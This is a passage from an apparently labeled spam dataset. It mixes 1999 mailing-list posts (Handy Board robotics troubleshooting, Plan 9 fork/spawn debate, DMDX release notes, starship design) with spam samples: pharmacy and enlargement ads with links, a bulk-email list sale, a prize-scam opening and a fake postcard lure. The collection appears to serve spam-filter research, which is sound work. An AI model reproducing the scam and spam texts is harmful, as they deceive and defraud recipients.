successes of the > >Voyager, etc. missions, not inconceivable. This ""Front"" part of the > >ship is actually equipped with pellet gun which fires pellets > >(which comprise most of its mass) back to the main ship. Moment > >transfer of the pellets (accomplished very carefully) slows down the main > >ship. If everything could be done ""gently"" these massive pellets > >could actually composed of material which you would bring along > >on the journey anyway, (food & water supplies) so they don't add mass. > > Catching pellats this way could help a lot, but since they'ld being coming > straigh at you at 3/4ths of light speed that would be nearly impossible. > So why split the ship? Just send a nice slow unmanned ship to do the pellet throwing. Ben. >From VM Mon Jul 12 10:08:22 1999 X-VM-v5-Data: ([nil nil nil nil t nil nil nil nil] [""2094"" ""Sunday"" ""11"" ""July"" ""1999"" ""01:05:45"" ""-0300"" ""Marcos Lyra"" ""mcbl@crt.sol.com.br"" ""<37881819.6C019804@crt.sol.com.br>"" ""50"" ""starship-design: unsubscribe starship-design"" ""^From:"" nil nil ""7"" nil ""starship-design: unsubscribe starship-design"" nil nil nil] nil) Content-Length: 2094 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id VAA20351 for starship-design-outgoing; Sat, 10 Jul 1999 21:00:11 -0700 (PDT) Received: from sims.sol.com.br (mail.sol.com.br [200.230.143.253]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id VAA20338 for ; Sat, 10 Jul 1999 21:00:03 -0700 (PDT) Received: from crt.sol.com.br (ch01m5.crt.sol.com.br) by sims.sol.com.br (Sun Internet Mail Server sims.3.5.1999.03.02.17.58.p5) with ESMTP id <0FEO00DZQTQWEY@sims.sol.com.br> for starship-design@lists.uoregon.edu; Sun, 11 Jul 1999 00:59:29 -0300 (EST) Message-id: <37881819.6C019804@crt.sol.com.br> MIME-version: 1.0 X-Mailer: Mozilla 4.05 [en] (Win95; I) Content-type: MULTIPART/MIXED; BOUNDARY=""Boundary_(ID_9ULMdvV0UNH4jBtEBaewfg)"" Precedence: bulk Reply-To: Marcos Lyra From: Marcos Lyra Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: unsubscribe starship-design Date: Sun, 11 Jul 1999 01:05:45 -0300 This is a multi-part message in MIME format. --Boundary_(ID_9ULMdvV0UNH4jBtEBaewfg) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit unsubscribe starship-design --Boundary_(ID_9ULMdvV0UNH4jBtEBaewfg) Content-type: MESSAGE/RFC822 Received: from darkwing.uoregon.edu by sims.sol.com.br (Sun Internet Mail Server sims.3.5.1999.03.02.17.58.p5) with ESMTP id <0FEM00455KFN5E@sims.sol.com.br> for mcbl-crt@sims-ms-daemon; Fri, 9 Jul 1999 19:43:03 -0300 (EST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id PAA22269 for starship-design-outgoing; Fri, 09 Jul 1999 15:41:28 -0700 (PDT) Received: from mtiwmhc03.worldnet.att.net (mtiwmhc03.worldnet.att.net [204.127.131.38]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id PAA22256 for ; Fri, 09 Jul 1999 15:41:26 -0700 (PDT) Received: from worldnet.att.net ([12.76.97.236]) by mtiwmhc03.worldnet.att.net (InterMail v03.02.07.07 118-134) with ESMTP id <19990709224054.SDCG4954@worldnet.att.net> for ; Fri, 09 Jul 1999 22:40:54 +0000 Date: Fri, 09 Jul 1999 18:39:57 -0400 From: ""Curtis L. Manges"" Subject: starship-design: re: interstellar planets supporting life Sender: owner-starship-design@lists.uoregon.edu To: ""starship-design@lists.uoregon.edu"" Reply-to: ""Curtis L. Manges"" Message-id: <37867A3D.B2449BA9@worldnet.att.net> MIME-version: 1.0 X-Mailer: Mozilla 4.61 [en] (Win98; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Precedence: bulk X-Accept-Language: en I can't help wondering: what kind of life would develop or evolve in near-total darkness? I guess we can find examples in our own ocean depths, but what would it look like on land? Photosynthesis being out of the question, the flora would certainly take a much different turn from what we're familiar with, and by necessity, the fauna would also. Interesting . . . Curtis --Boundary_(ID_9ULMdvV0UNH4jBtEBaewfg)-- >From VM Mon Jul 12 10:08:22 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""24"" ""Sunday"" ""11"" ""July"" ""1999"" ""01:13:34"" ""-0300"" ""Marcos Lyra"" ""mcbl@crt.sol.com.br"" nil ""3"" ""starship-design: unsubscribe starship-design"" ""^From:"" nil nil ""7"" nil ""starship-design: unsubscribe starship-design"" nil nil nil] nil) Content-Length: 24 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id VAA21494 for starship-design-outgoing; Sat, 10 Jul 1999 21:07:49 -0700 (PDT) Received: from sims.sol.com.br (mail.sol.com.br [200.230.143.253]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id VAA21488 for ; Sat, 10 Jul 1999 21:07:45 -0700 (PDT) Received: from crt.sol.com.br (ch01m5.crt.sol.com.br) by sims.sol.com.br (Sun Internet Mail Server sims.3.5.1999.03.02.17.58.p5) with ESMTP id <0FEO00ER7U40IR@sims.sol.com.br> for starship-design@lists.uoregon.edu; Sun, 11 Jul 1999 01:07:19 -0300 (EST) Message-id: <378819EE.E01E2913@crt.sol.com.br> MIME-version: 1.0 X-Mailer: Mozilla 4.05 [en] (Win95; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Precedence: bulk Reply-To: Marcos Lyra From: Marcos Lyra Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: unsubscribe starship-design Date: Sun, 11 Jul 1999 01:13:34 -0300 unsub starship-design",0,1 INTERNATIONAL PRIZE AWARD DEPARTMENT ,CATEGORY A WINNER ,"Sun, 04 Jul 1999 14:50:59 -0300",CONGRATULATIONS,"FROM THE DESK OF THE DIRECTOR: INTERNATIONAL PRIZE AWARD DEPT WINNING NOTIFICATION FOR CATEGORY ""A"" WINNER ONLY ATTENTION! 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If you are spending any time at all with the HB (and isn't that the point?) it is well worth the investment. It saves much time and hassle. See: www.newtonlabs.com >PS: I have another question too. Should I solder the battery pack to the >HB when I connect the adapter to the HB? Not sure what you are asking. The adapter is used to charge the battery, which can only work if both are connected to the HB. You can use the HB w/o the battery but you'll have to reload the pcode after every time you turn it off. And your 'bot will need a long umbilical 8^] Cheers, Duncan ",0,0 Satish Chetty ,handyboard@media.mit.edu,"Mon, 05 Jul 1999 06:02:09 +1000",RE: Startup,"Ronald, > > Second problem could be that your cable is not correct. Try to swap the > Rx and Tx lines. When the PC is trying to download code the green LED on > the board and on the interface should be blinking rapidly. I think the serial board is working fine. I tried the loopback test as mentioned in the http://lcs.www.media.mit.edu/groups/el/projects/handy-board/faq/winindex.html and everything seems ok. My concern is that since the green and Red LEds on the HB don't seem to come one (EVER blink or otherwise) I am wondering if the HB could be bad. Or simply the leds burnt out. I have sent my HB back to the manufacture and he said that he had fixed some parts and the board is new and good working order. So is there anything like the loopback test to find out if the HB is recieve data? I am frustrated as I have spent quite a few hundred dollars and I can't even get the board to work. Moreover, shipping to the manufacturer also is expensive. > > Third, and this might seem far fetched: are you using the serial > interface and loader board ? You don't seem to mention this. This small > board is very important because it changes the serial voltages between a > PC and the HB. Make sure that it is working and then chck the telephone > like cable between them. Is the loader board the board the links the PC with the HB via the RJ11. If so then it is working fine. Thanks for the tips and I shall keep trying. -Satish. > From: Satish Chetty [mailto:satish@suburbia.com.au] Sent: zondag 4 > juli 1999 6:05 To: handyboard@media.mit.edu Subject: Startup > > > Hi all, > Reading from the tons of the listings, I see that many of you > are > veterans in the HB. I recently bought a preassembled HB. I havn't > soldered > the battery case to the board, however, I have bought a 12V 500mA > external > adapter. I thought I shall ask about downloading the downloader. I tried > the stuff the manual, I can't seem to be even setting the board in > download mode. > > The board is NEW. I have three Wintel machines and an old XT > machine which haven't used as yet as it has only a 5.25 drive. > > My problem seems that dl and the 95 version of downloader always > keep saying that Worng port or board mode or no response from the board. > I > switched off the adapter and tried again. This time dl just waited until > I > switched on the power, after which it gave me message something like no > response from board and trying again. > > Can somebody tell me what I am doing wrong? The leds don't seem > to > come on for 0.33 seconds when I hold the STOP button and turn the power > on. I have tried 3 different machine (2NTs and Win95) fearing that the > OS > might not be truely releasing the COM ports. Also, turning the power > switch of the boaRD on/off seems to turn on/off couple of yellow LEDs on > the main board or serial interface. > > -Satish. > PS: I have another question too. Should I solder the battery pack to the > HB when I connect the adapter to the HB? > ",0,1 cukwmzvaui ,DMDX@psy1.psych.arizona.edu,,"Looking for the safest method to enlarge your dick? Stop seeking, just try Penis Enlarge Patch.",By order1ng Penis Enlarge P@tch you c@n get 25 Patches just for $99.95. http://www.ewaroz.com/pt/?51&xkGBUt,1,1 Andrea M Okerholm ,handyboard@media.mit.edu,"Mon, 05 Jul 1999 00:41:28 -0400",servo timing,"Hi all, I have an interesting problem with the servo routines. I am using them to control a speed control. From the IC command line, I am able to control the ESC (and hence the motor) perfectly. From a simple test program, I can also do this. But when I try to control the motor from a program that is also monitoring the serial port, the motor twitches when commanded to stop. It has been suggested to me that this is because the infinite loop that is monitoring the serial port is taking up too much system time and thus messing up the servo waveform. I have heard that the expansion board has servo outputs with their own timing element that would solve my problem, but when I looked at the schematics of the expansion board it looked to me like the clock inputs all go to the handyboard. Does anyone have a suggestion? Thanks, Andrea ",0,0 steve.kilbane@ind.alstom.com,9fans@cse.psu.edu,"Mon, 05 Jul 1999 08:57:49 +0100",Re: [9fans] spawn() vs fork()," On 03/07/99 16:22:21 Digby Tarvin wrote: > That compromise meant that a fork() style of process creation > was not possible (all pointers in the child's data segment would > be pointing into the parents memory), so it uses a spawn() style > of process creation. It's not impossible: the Atari ST port of Minix managed fork() on M68000. I believe the solution was to swap data and stack segments during a context switch. This meant that anything that forked a child and then talked to it for a while would run like treacle. Since most processes followed a fork() with an exec(), it wasn't so much of a problem. All very reminiscent of vfork(). Implementation requirements aside, as Jean says, fork gives you an elegant way of setting up I/O redirection. It also gives you an elegant way of determining start-up context as a whole for the new process., including internal state. steve ",0,0 rog@vitanuova.com,9fans@cse.psu.edu,"Mon, 05 Jul 1999 10:09:49 -0000",Re: [9fans] spawn() vs fork(),"> Implementation requirements aside, as Jean says, fork gives you an > elegant way of setting up I/O redirection. It also gives you an elegant > way of determining start-up context as a whole for the new process., > including internal state. inferno seems to do fine with a spawn primitive and no process fork. it has the capability to fork resources (i.e. fds, namespace, process group) and this, combined with the fact that there are relatively few attributes associated with a process, seems quite sufficient for all the usual process setup. cheers, rog. ",0,0 Digby Tarvin ,9fans@cse.psu.edu,"Mon, 05 Jul 1999 14:23:27 +0100",Re: [9fans] spawn() vs fork(),"> >> That compromise meant that a fork() style of process creation >> was not possible (all pointers in the child's data segment would >> be pointing into the parents memory), so it uses a spawn() style >> of process creation. > >It's not impossible: the Atari ST port of Minix managed fork() on M68000. I >believe the solution was to swap data and stack segments during a context >switch. This meant that anything that forked a child and then talked to it for a >while would run like treacle. Since most processes followed a fork() with an >exec(), it wasn't so much of a problem. All very reminiscent of vfork(). > >Implementation requirements aside, as Jean says, fork gives you an elegant way >of setting up I/O redirection. It also gives you an elegant way of determining >start-up context as a whole for the new process., including internal state. > True. I believe Whitesmiths did something similar with a non-mmu version of their Unix re-implementation. But OS-9 is intended as a real-time operating system with an ability to garnatee minimum task switch times. If you are unwilling to enable the MMU because of the small performance hit that produces, you certainly wouldn't want to start copying blocks of memory around as part of task switch overhead... I have, as a porting aid, implemented a fork() system call on OS9. But it is not semantically identical to Unix in that the data segment was shared between parent and child, and the data changed by the child would effect the data of the parent. Sort of a vfork() without the copy on write. But it worked for most fork()/exec() sequences that commonly appear in Unix source. Regards, DigbyT -- Digby R. S. Tarvin digbyt@acm.org http://www.cthulhu.dircon.co.uk ",0,1 """Michael F. Vineyard"" ","Jerry Gilfoyle , Arne Freyberger ","Tue, 06 Jul 1999 06:40:12 -0400",UPS can't handle full load,"Hi Guys, On Friday I submitted 22 jobs on the psc cluster and the UPS overload alarms went off. I knew that Arne had run for ~9 hrs like this the other night, so I let them go to see if the UPS would settle down eventually. Well they didn't and after about an hour a circuit breaker on one of the power stips tripped and the whole system went down. After I got it back up, I submitted one job on each machine and things ran fine throughout the night and most of the weekend. I think we're going to have to run like this (one job per machine) until we get more UPS power capability. Also, I got another power strip so that we can put the UPS on different power strips (right now they're on the same one). Later, Mike ",0,0 """Burford J. Furman"" ",handyboard@media.mit.edu,"Mon, 05 Jul 1999 12:55:49 -0700",Cannot Find pcoder22.s19,"Hi Folks, I just purchased a Handy Board and am trying to get started with it. When I try to download the p-code, I get the message that the download was successful, but also the message ""cannot find pcoder22.s19 or /ic/libs/pcoder22.s19"". I've looked for this file, and I don't find it in the zip file that I downloaded for MS-DOS or in any of the libraries on the HB website. Your help would be appreciated! Thank you. Buff Furman ",0,0 """Landahl, Bill"" ",handyboard@media.mit.edu,"Tue, 06 Jul 1999 11:06:27 -0400",Communicating with board," Hello, I am getting a message when I try to connect with the board that says ""Cannot find \\ic\\libs\\lib_hb.lis"" I loaded a program onto the handyboard from my computer at home- everything looked good. When I brought it in, I tried to connect here and got that message. I looked in the libs directory and lib_hb.lis definitely exists. The problem is not with the board but somewhere in the path I think... The path on this computer is C:\\IC\\IC\\LIBS\\lib_hb.lis Maybe I should eliminate the first IC directory???? Thanks Bill Landahl ",0,0 """Landahl, Bill"" ",HandyBoard ,"Tue, 06 Jul 1999 11:17:21 -0400",Communication," Oh.....Never mind. There WAS one too many IC directories on the computer here. Sorry to bother you... Carry on... ",0,0 Will Bain ,Handyboard Mailing List ,"Tue, 06 Jul 1999 10:34:06 -0600",Re: Cannot Find pcoder22.s19,"""Burford J. Furman"" wrote: > I just purchased a Handy Board and am trying to get started with it. When I > try to download the p-code, I get the message that the download was > successful, but also the message ""cannot find pcoder22.s19 or > /ic/libs/pcoder22.s19"". I've looked for this file, and I don't find it in > the zip file that I downloaded for MS-DOS or in any of the libraries on the > HB website. Your help would be appreciated! I think everybody had that problem at first, because the default setup for IC tries to use that file. The pcoder22.s19 is not supposed to be used for the HandyBoard (I think it's for the MIT robotics course). Your HB needs the pcode_hb.s19 instead. Unfortunately, I can't remember how to change the setting. Anyone else? BTW, you might also have trouble with lib_hb.lis at first, too. It is automatically read when you start IC, and it lists the files to be auto loaded. It includes r22_ir.lis, which will try to load r22_ir.icb & r22_ir.c, both of which are incompatible with the HB., so just edit the lib_hb.lis file to remove the reference to the r22 stuff. Sorry I couldn't be more helpful. Good luck! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, America's one of the finest countries Will Bain, anyone ever stole. & Tatoosh --Bobcat Goldthwait ",0,0 """Postcard notification system."" ",marsha@aleve.media.mit.edu,"Mon, 05 Jul 1999 12:24:03 +0200",You have just received a postcard,"Hello friend ! You have just received a postcard from someone who cares about you! This is a part of the message: ""Hy there! It has been a long time since I haven't heared about you! I've just found out about this service from Claire, a friend of mine who also told me that..."" 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Thanks a lot!,0,0 Nick Taylor ,"handyboard@media.mit.edu, Bill.Landahl@morganite.com","Wed, 07 Jul 1999 07:50:40 -0700",Re: loading code,"> ""Landahl, Bill"" wrote: > > What is the first line to use for any IC program??? > > I'm using #include and kepp getting compile errors. Tried > variations but no luck. > > Thanks a lot! Hi Bill ... Kill the #include ... IC doesn't use any header files. RTFM at: http://el.www.media.mit.edu/projects/handy-board/techdocs/hbmanual.pdf Have fun, - Nick -",0,1 Aaron Dwyer ,handyboard@media.mit.edu,"Thu, 08 Jul 1999 08:27:47 +1000",encoders and analog ports,"hi there i'm not yet receiving this list so could any replies please not leave out my direct email. my problem is thus. i've got 5 of the hb's analog ports used by ldr's. they all work fine and have done so as line detectors for 3 years now. i have just recently ripped a mouse apart and am trying to have a shaft encoder. this has also been successful to a certain degree. using the hb fencdr0.icb i get a nice velocity and everything is fine with the encoder part. however i've found that having the fencdr0.icb loaded the ldr's which are attached to the other analog ports are returning wild readings. if i manually in ic, read the sensors analog(1); and such they read back ok. but since i have my sensor code in a spawned process maybe this has something to do with it?? so i'm assuming that the fencdr0.icb is somehow interfering with the ldr analog readings. spurious readings mean no robot = can't have encoder running at the same time. bugger. has anyone else every run across this problem. i did a search using the cool mailing search provided and was a bit swamped. thanks aaron. -- _____________________________________________________________________ Aaron Dwyer http://members.xoom.com/aarondwyer ",0,1 Nelda ,'Dollie' ,"Thu, 08 Jul 1999 05:24:27 -0100",Sperm pill that works ," Hi friend: We have quality product to help you Enjoy better sex life. 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",handyboard@media.mit.edu,"Thu, 08 Jul 1999 09:56:54 +0400",П р о ф е с с и о н а л ь н а я E - m a i l р а с с ы л к а,"E ~ M A I L   Р А С С Ы Л К А   В а ш е й   Р Е К Л А М ЫНаш Тел.: (495) 974 42 01, пишите в ICQ : 269317911 E-mail базы для рассылок :  E-mail  Цена Юpидuчecкиe лица, opганизации, предприятия  кoл-вo рyб Московские организации и предприятия 300 000 3 500 Санкт-Петербург организации 70 000 2 000 Предприятия и организации России (без Москвы) 280 000 3 200 Фирмы и организации Украины 200 000 3 000 Фирмы и организации Белоруссии 100 000 2 500 Физические лица (пользователи сети Интернет) кoл-вo рyб Физические лица Москвы и Московской области 1 100 000 4 500 Физические лица Украины 400 000 3 500  Специальное предложение : Юридические и Физические лица (ВСЯ БАЗА)    7 000 000 13 000",1,0 ������ ,handyboard@media.mit.edu,"Thu, 08 Jul 1999 13:30:00 +0400",=================> :��:��: <-- �Ϸ� 220���̸� �����ϴ�. ���� ������ �� . jiymg ,dgkbi d usebw ztgmuq miaatm w nsu y iiy sgsdpul wluhb ht,1,1 Fred Martin ,"aaron@stallion.oz.au, handyboard@media.mit.edu","Thu, 08 Jul 1999 15:13:06 -0400",Re: encoders and analog ports,"my shaft encoder routines are not compatible with the old servo routines. please try the new servo routines at http://el.www.media.mit.edu/projects/handy-board/software/libs.html fred >hi there > >i'm not yet receiving this list so could any replies please not leave >out my direct email. > >my problem is thus. > >i've got 5 of the hb's analog ports used by ldr's. they all work fine >and have done so as line detectors for 3 years now. > >i have just recently ripped a mouse apart and am trying to have a shaft >encoder. > >this has also been successful to a certain degree. using the hb >fencdr0.icb i get a nice velocity and everything is fine with the >encoder part. > >however i've found that having the fencdr0.icb loaded the ldr's which >are attached to the other analog ports are returning wild readings. if i >manually in ic, read the sensors analog(1); and such they read back ok. >but since i have my sensor code in a spawned process maybe this has >something to do with it?? > >so i'm assuming that the fencdr0.icb is somehow interfering with the ldr >analog readings. spurious readings mean no robot = can't have encoder >running at the same time. bugger. > >has anyone else every run across this problem. i did a search using the >cool mailing search provided and was a bit swamped. > >thanks >aaron. >-- >_____________________________________________________________________ >Aaron Dwyer >http://members.xoom.com/aarondwyer > ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 08 Jul 1999 16:50:38 -0700",[DMDX] 1.1.06," I've released 1.1.06 which: 1/ Fixed the FEEDBACKDURATION and FEEDBACKLINE keywords, they were documented but not available. 2/ Made movingimages() sleep if it's not moving images into video memory which might reduce some pre-emption problems, basically lets the rest of the machine do other things when DMDX is not so busy. Previously DMDX only slept at the start of an item. 3/ Stopped movingimages() from moving stuff (with Blt, the BLock Transfer function) if a Flip has not completed as the blt will be queued and then go to the wrong buffer. This fixes the S3 problem in Ken's lab which wasn't related to the video card at all but instead the P166 processor was at fault. Basically if the CPU is slow enough the erase of a feedback message can wind up not being moved into video memory before the Flip of the feedback itself and the erase winds up in the wrong place leading to all hell breaking loose with the display. Once again, this only cropped up with feedback and on slow machines, if you didn't see it it wasn't happening as the results were fairly catestrophic. 4/ I made the About box a bit fancier, centered all dialogs, disabled screen savers and monitor power off programs. 1.1.07 will include a new input device that will poll joystick buttons as fast as pio12 buttons (read as fast as possible), the catch being the joystick must be an old fashioned analog thing on port 201H. It won't work on NT or win2000 (like the pio12 input device won't) nor will new fangled joysticks work with it, you'll still have to use the DirectX devices for those. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Any philosophy that can be put in a nutshell belongs there. - Sydney J. Harris ",0,0 """Brailled K. Sidebars"" ",Bait ,"Thu, 08 Jul 1999 12:44:30 -0700",Premier,"Man's Health Anti-Depressants Antibiotics Cholesterol Diabetes Diuretic Pain Relief Sexual Health Sleep Aids Weight Loss and more on Premier Pharkmacy http://zuiruhupis.com/?UHJENDU1NaQBhdW1RVQVhdXXRQXBxQVQ== asdffgjd U1NaQBhdW1RVQVhdXXRQXBxQVQ== ",1,1 Ethan Getz ,handyboard@media.mit.edu,"Thu, 08 Jul 1999 14:37:37 -0700",Sonar numbers,"I connected my 6500 series sonar ranging module to my expansion using the 9 pin connector. I called the function sonar_display() and got a clicking sound. The numbers being displayed to the LDC are between 1254 and 1301. Moving an object to and from the transducer doesn't seem to have an effect on the numbers being display to the LCD. By the way, I did connect J12 to digital input 7. ________________ |||||||||||||||| <=Signal (This is where I connect J12) _________________ ||||||||||||||| V+ ________________ |||||||||||||||| Gnd 15 - 7 Did I do everything correctly. _______________________________________________________________ Get Free Email and Do More On The Web. Visit http://www.msn.com",0,1 wangq@ddc.xj.cnpc.com.cn,9fans@cse.psu.edu,"Fri, 09 Jul 1999 09:48:01 +0800",[9fans] help,"Hi: How can I subscribe this mail list? Wang Qi ",0,0 dew ,handyboard@media.mit.edu,"Fri, 09 Jul 1999 20:56:31 +0800",Re: Opto-reflector,"Hi, it seems that my opto-sensor is not fast enought to ""catch"" the black & white strip which stick on the robot wheels running at 25rpm. Maybe it is due to the program timing with the start_process command. Or maybe I need to replace it with shaft encoder. Can any body help? ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 09 Jul 1999 10:02:30 -0700",[DMDX] legacy," I am considering removing the code in DMDX and TimeDX that deals with machines without high performace timers, old legacy hardware in the 486 catagory. I don't think anyone uses such machines with DMDX and removing code that doesn't deal with microsecond accurate timers will lead to considerably more accurate decisions about whether a frame has missed it's allowed time or not. If anyone does use machines without high performance timers speak now or forever hold your peace. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What is a magician but a practising theorist? - Obi-Wan Kenobi ",0,0 Aaron Dwyer ,Fred Martin ,"Sat, 10 Jul 1999 00:48:52 +1000",Re: encoders and analog ports,"thanks fred. i'm now using the servo_a7.icb routines to drive my servo. i am still experiencing problems with the analog ports. i have cascading if then else statements that yield varying responses from my 5 analog ldr's. i have put printf's throughout these statements to work out what is going on. with the fencrd0.icb file loaded the other analog ports randomly produce values on them. i've turned off my servo (removed servo_a7.icb from the startup) for now until the analog ports and fencrd0.icb are sorted out, and the problem is still there. since the fencrd0.icb reprograms the a/d port. could it be reprogramming it all the time hence the bogus values on the other a/d ports? i have replaced the 47K res pack with 100K for a better voltage divider on the ldr's. i can't see that causing it any problems. i've tried a different handyboard to rule out a hardware issue. i don't even have any code for the fencrd0.icb to use yet. it is just loaded at startup. any ideas? thanks. Fred Martin wrote: > > my shaft encoder routines are not compatible with the old servo routines. > > please try the new servo routines at > > http://el.www.media.mit.edu/projects/handy-board/software/libs.html > > fred > > >hi there > > > >i'm not yet receiving this list so could any replies please not leave > >out my direct email. > > > >my problem is thus. > > > >i've got 5 of the hb's analog ports used by ldr's. they all work fine > >and have done so as line detectors for 3 years now. > > > >i have just recently ripped a mouse apart and am trying to have a shaft > >encoder. > > > >this has also been successful to a certain degree. using the hb > >fencdr0.icb i get a nice velocity and everything is fine with the > >encoder part. > > > >however i've found that having the fencdr0.icb loaded the ldr's which > >are attached to the other analog ports are returning wild readings. if i > >manually in ic, read the sensors analog(1); and such they read back ok. > >but since i have my sensor code in a spawned process maybe this has > >something to do with it?? > > > >so i'm assuming that the fencdr0.icb is somehow interfering with the ldr > >analog readings. spurious readings mean no robot = can't have encoder > >running at the same time. bugger. > > > >has anyone else every run across this problem. i did a search using the > >cool mailing search provided and was a bit swamped. > > > >thanks > >aaron. > >-- > >_____________________________________________________________________ > >Aaron Dwyer > >http://members.xoom.com/aarondwyer > > -- _____________________________________________________________________ Aaron Dwyer Stallion Technologies http://members.xoom.com/aarondwyer http://easy.stallion.com ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Fri, 09 Jul 1999 09:57:04 -0700",Subsumption Architecture,"Hello All: Reading ""Mobile Robots"" by Jones & Flynn has gotten me interested in implementing subsumption architecture (also known as behavior control) on my HandyBoard. I've found one site that has related material: http://krusty.eecs.umich.edu/cogarch0/subsump/index.html 1. How many of your are (or have) playing with this programming method on your HandyBoard. Please share your experiences, good and bad. 2. Are you willing to share code? 3. Do you have an pertinent links to share? At this point I've only begun to write any code, so I've none to share ... and have only found the one link posted above. Thanks, - Nick - ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 09 Jul 1999 16:07:37 -0700",[DMDX] oops," If you got 1.1.06 yesterday you should get 1.1.07 today, .06 contained a slight oops that will crop up about once a millenium I figure but it's better to be safe than sorry. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Any philosophy that can be put in a nutshell belongs there. - Sydney J. Harris ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Fri, 09 Jul 1999 19:47:40 -0700",serial servo controller,"Does anyone here have experience with the NetMedia Servo 8 Torque controller board. Available from: http://www.web-hobbies.com/servo8t.html at $60 post paid. It controls up to 8 servos and provides position and torque feedback for each servo upon request. Looks good for my walker. Any comments about Scott Edwards SSC2 controllers? $44 plus shipping from: http://www.seetron.com/ssc.htm My current walker is a 3 servo guy that only does a tripod gait ... no need for servo controller or torque feedback. My new guy with six 2-DOF legs would probably benefit from position and torque feedback info. Comments? thanks, - Nick - ",0,1 Fred Martin ,Aaron Dwyer ,"Sat, 10 Jul 1999 08:09:11 -0400",Re: encoders and analog ports,"are you using the .icb version of the analog driver? make sure you are using the latest set of libraries for the HB from the web site. i'm just guessing at this point. next follow up, please provide a listing of exactly what lib files are being loaded when IC boots. fred >thanks fred. > >i'm now using the servo_a7.icb routines to drive my servo. > >i am still experiencing problems with the analog ports. > >i have cascading if then else statements that yield varying responses >from my 5 analog ldr's. i have put printf's throughout these statements >to work out what is going on. > >with the fencrd0.icb file loaded the other analog ports randomly produce >values on them. > >i've turned off my servo (removed servo_a7.icb from the startup) for now >until the analog ports and fencrd0.icb are sorted out, and the problem >is still there. > >since the fencrd0.icb reprograms the a/d port. could it be reprogramming >it all the time hence the bogus values on the other a/d ports? > >i have replaced the 47K res pack with 100K for a better voltage divider >on the ldr's. i can't see that causing it any problems. > >i've tried a different handyboard to rule out a hardware issue. > >i don't even have any code for the fencrd0.icb to use yet. it is just >loaded at startup. > >any ideas? > >thanks. > >Fred Martin wrote: >> >> my shaft encoder routines are not compatible with the old servo routines. >> >> please try the new servo routines at >> >> http://el.www.media.mit.edu/projects/handy-board/software/libs.html >> >> fred >> >> >hi there >> > >> >i'm not yet receiving this list so could any replies please not leave >> >out my direct email. >> > >> >my problem is thus. >> > >> >i've got 5 of the hb's analog ports used by ldr's. they all work fine >> >and have done so as line detectors for 3 years now. >> > >> >i have just recently ripped a mouse apart and am trying to have a shaft >> >encoder. >> > >> >this has also been successful to a certain degree. using the hb >> >fencdr0.icb i get a nice velocity and everything is fine with the >> >encoder part. >> > >> >however i've found that having the fencdr0.icb loaded the ldr's which >> >are attached to the other analog ports are returning wild readings. if i >> >manually in ic, read the sensors analog(1); and such they read back ok. >> >but since i have my sensor code in a spawned process maybe this has >> >something to do with it?? >> > >> >so i'm assuming that the fencdr0.icb is somehow interfering with the ldr >> >analog readings. spurious readings mean no robot = can't have encoder >> >running at the same time. bugger. >> > >> >has anyone else every run across this problem. i did a search using the >> >cool mailing search provided and was a bit swamped. >> > >> >thanks >> >aaron. >> >-- >> >_____________________________________________________________________ >> >Aaron Dwyer >> >http://members.xoom.com/aarondwyer >> > > >-- >_____________________________________________________________________ >Aaron Dwyer Stallion Technologies >http://members.xoom.com/aarondwyer http://easy.stallion.com > ",0,1 Bolick Arella ,dmdx@psy1.psych.arizona.edu,"Sat, 10 Jul 1999 10:41:24 -0500","is your memory bad, we can help",", howsomever in bonanza see shod in affectation and typhus ",1,0 """Marcos C. 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Lyra"" ","""starship-design@lists.uoregon.edu"" ","Sun, 11 Jul 1999 01:52:59 -0300",starship-design: unsub starship-design,"unsubscribe straship-design ",0,0 Aaron Dwyer ,Fred Martin ,"Sun, 11 Jul 1999 14:19:43 +1000",Re: encoders and analog ports,"> are you using the .icb version of the analog driver? make sure you are > using the latest set of libraries for the HB from the web site. i'm just > guessing at this point. next follow up, please provide a listing of > exactly what lib files are being loaded when IC boots. > > fred well once again i've learnt the hardway. always get the latest software. downloaded the new libs, and that fixed me up. i was using the libs from when i first started with the hb (years ago). all my analogs are stable again. i am very happy. my robot can continue to improve. yes! :) thanks fred. ciao. -- _____________________________________________________________________ Aaron Dwyer http://members.xoom.com/aarondwyer ",0,1 Chloe ,DMDX@psy1.psych.arizona.edu,"Sat, 10 Jul 1999 20:41:54 -0500",This needs to be tried,"may revolt it's give on siemens see freshwater not levin ",1,0 Abishah Hartung ,handyboard@media.mit.edu,"Sat, 10 Jul 1999 23:02:30 -0500",This diet is going crazy,"a contrast but metcalf on survey in transplant see innuendo ",1,0 cworld27@cse.psu.edu,cquail438@cse.psu.edu,"Sun, 11 Jul 1999 02:11:40 -0000",[9fans] VIAGRA - Xenical FAT BLOCKER - OnLine Drug Store 165522," This is not spam. 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Thanks, --Dan ",0,0 KellySt@aol.com,,"Sun, 11 Jul 1999 